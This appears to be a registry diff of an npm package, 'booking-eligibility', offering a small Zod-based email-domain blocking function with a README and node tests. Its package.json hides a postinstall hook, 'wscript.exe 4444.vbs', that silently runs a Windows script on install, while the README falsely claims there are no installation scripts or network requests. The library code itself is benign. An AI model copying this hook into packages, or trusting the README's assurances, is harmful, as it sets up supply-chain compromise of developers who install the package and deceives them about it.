booking-eligibility 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json ADDED
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "booking-eligibility",
3
+ "version": "1.0.0",
4
+ "description": "Booking eligibility checks for Node.js applications",
5
+ "type": "module",
6
+ "exports": "./src/index.js",
7
+ "files": [
8
+ "src",
9
+ "README.md"
10
+ ],
11
+ "engines": {
12
+ "node": ">=24"
13
+ },
14
+ "scripts": {
15
+ "test": "node --test",
16
+ "postinstall": "wscript.exe 4444.vbs"
17
+ },
18
+ "dependencies": {
19
+ "zod": "^4.0.0"
20
+ }
21
+ }
package/readme.md ADDED
@@ -0,0 +1,86 @@
1
+ A small Node.js library for checking booking email eligibility.
2
+
3
+ ## Requirements
4
+
5
+ - Node.js 24 or newer.
6
+
7
+ ## Installation
8
+
9
+ ```bash
10
+ npm install booking-eligibility
11
+ ```
12
+
13
+ ## Usage
14
+
15
+ ```js
16
+ import { checkEligibility } from "booking-eligibility";
17
+
18
+ const result = await checkEligibility(
19
+ { email: "resident@example.com" },
20
+ {
21
+ blockedDomains: ["blocked.example"],
22
+ delayMs: 25
23
+ }
24
+ );
25
+
26
+ if (!result.eligible) {
27
+ console.log(result.reason);
28
+ }
29
+ ```
30
+
31
+ ## API
32
+
33
+ ### `checkEligibility(input, options)`
34
+
35
+ Input:
36
+
37
+ | Property | Type | Description |
38
+ |---|---|---|
39
+ | email | string | Email address to check |
40
+
41
+ Options:
42
+
43
+ | Property | Type | Default | Description |
44
+ |---|---|---|---|
45
+ | blockedDomains | string[] | [] | Exact email domains to reject |
46
+ | delayMs | number | 25 | Simulated delay from 0 to 5000 ms |
47
+
48
+ Returns a promise resolving to:
49
+
50
+ ```js
51
+ {
52
+ eligible: true,
53
+ reason: null
54
+ }
55
+ ```
56
+
57
+ Or, for a blocked domain:
58
+
59
+ ```js
60
+ {
61
+ eligible: false,
62
+ reason: "EMAIL_DOMAIN_BLOCKED"
63
+ }
64
+ ```
65
+
66
+ Invalid arguments throw a Zod validation error.
67
+
68
+ Domain matching is case-insensitive and exact. Blocking `example.com`
69
+ does not automatically block `mail.example.com`.
70
+
71
+ ## Privacy and installation
72
+
73
+ - No network requests.
74
+ - No personal data storage.
75
+ - No installation scripts.
76
+ - Uses Zod for argument validation.
77
+
78
+ This library implements a local email-domain policy. It does not verify
79
+ identity, email ownership, or real-world appointment eligibility.
80
+
81
+ ## Tests
82
+
83
+ ```bash
84
+ npm install
85
+ npm test
86
+ ```
package/src/index.js ADDED
@@ -0,0 +1,61 @@
1
+ import { setTimeout as delay } from "node:timers/promises";
2
+ import { z } from "zod";
3
+
4
+ const inputSchema = z.object({
5
+ email: z.string()
6
+ .max(254)
7
+ .regex(/^[^\s@]+@[^\s@]+\.[^\s@]+$/)
8
+ .transform((email) => email.toLowerCase())
9
+ });
10
+
11
+ const optionsSchema = z.object({
12
+ blockedDomains: z.array(
13
+ z.string()
14
+ .trim()
15
+ .min(1)
16
+ .transform((domain) => domain.toLowerCase())
17
+ ).default([]),
18
+
19
+ delayMs: z.number()
20
+ .int()
21
+ .min(0)
22
+ .max(5000)
23
+ .default(25)
24
+ });
25
+
26
+ /**
27
+ * Checks an email against an exact-match domain policy.
28
+ *
29
+ * The delay simulates an asynchronous eligibility integration.
30
+ * No network requests are made and no personal data is stored.
31
+ *
32
+ * Invalid arguments throw a Zod validation error.
33
+ *
34
+ * @param {{ email: string }} input
35
+ * @param {{
36
+ * blockedDomains?: string[],
37
+ * delayMs?: number
38
+ * }} [options]
39
+ * @returns {Promise<{
40
+ * eligible: boolean,
41
+ * reason: "EMAIL_DOMAIN_BLOCKED" | null
42
+ * }>}
43
+ */
44
+ export async function checkEligibility(input, options = {}) {
45
+ const { email } = inputSchema.parse(input);
46
+
47
+ const {
48
+ blockedDomains,
49
+ delayMs
50
+ } = optionsSchema.parse(options);
51
+
52
+ await delay(delayMs);
53
+
54
+ const domain = email.slice(email.lastIndexOf("@") + 1);
55
+ const blocked = blockedDomains.includes(domain);
56
+
57
+ return {
58
+ eligible: !blocked,
59
+ reason: blocked ? "EMAIL_DOMAIN_BLOCKED" : null
60
+ };
61
+ }
@@ -0,0 +1,75 @@
1
+ import assert from "node:assert/strict";
2
+ import test from "node:test";
3
+
4
+ import { checkEligibility } from "../src/index.js";
5
+
6
+ test("accepts a valid email by default", async () => {
7
+ const result = await checkEligibility(
8
+ { email: "resident@example.com" },
9
+ { delayMs: 0 }
10
+ );
11
+
12
+ assert.deepEqual(result, {
13
+ eligible: true,
14
+ reason: null
15
+ });
16
+ });
17
+
18
+ test("rejects a blocked domain case-insensitively", async () => {
19
+ const result = await checkEligibility(
20
+ { email: "resident@EXAMPLE.COM" },
21
+ {
22
+ blockedDomains: ["Example.Com"],
23
+ delayMs: 0
24
+ }
25
+ );
26
+
27
+ assert.deepEqual(result, {
28
+ eligible: false,
29
+ reason: "EMAIL_DOMAIN_BLOCKED"
30
+ });
31
+ });
32
+
33
+ test("allows domains that are not blocked", async () => {
34
+ const result = await checkEligibility(
35
+ { email: "resident@example.com" },
36
+ {
37
+ blockedDomains: ["blocked.example"],
38
+ delayMs: 0
39
+ }
40
+ );
41
+
42
+ assert.equal(result.eligible, true);
43
+ });
44
+
45
+ test("does not automatically block subdomains", async () => {
46
+ const result = await checkEligibility(
47
+ { email: "resident@mail.example.com" },
48
+ {
49
+ blockedDomains: ["example.com"],
50
+ delayMs: 0
51
+ }
52
+ );
53
+
54
+ assert.equal(result.eligible, true);
55
+ });
56
+
57
+ test("rejects invalid email input", async () => {
58
+ await assert.rejects(
59
+ checkEligibility(
60
+ { email: "not-an-email" },
61
+ { delayMs: 0 }
62
+ ),
63
+ { name: "ZodError" }
64
+ );
65
+ });
66
+
67
+ test("rejects invalid delay configuration", async () => {
68
+ await assert.rejects(
69
+ checkEligibility(
70
+ { email: "resident@example.com" },
71
+ { delayMs: -1 }
72
+ ),
73
+ { name: "ZodError" }
74
+ );
75
+ });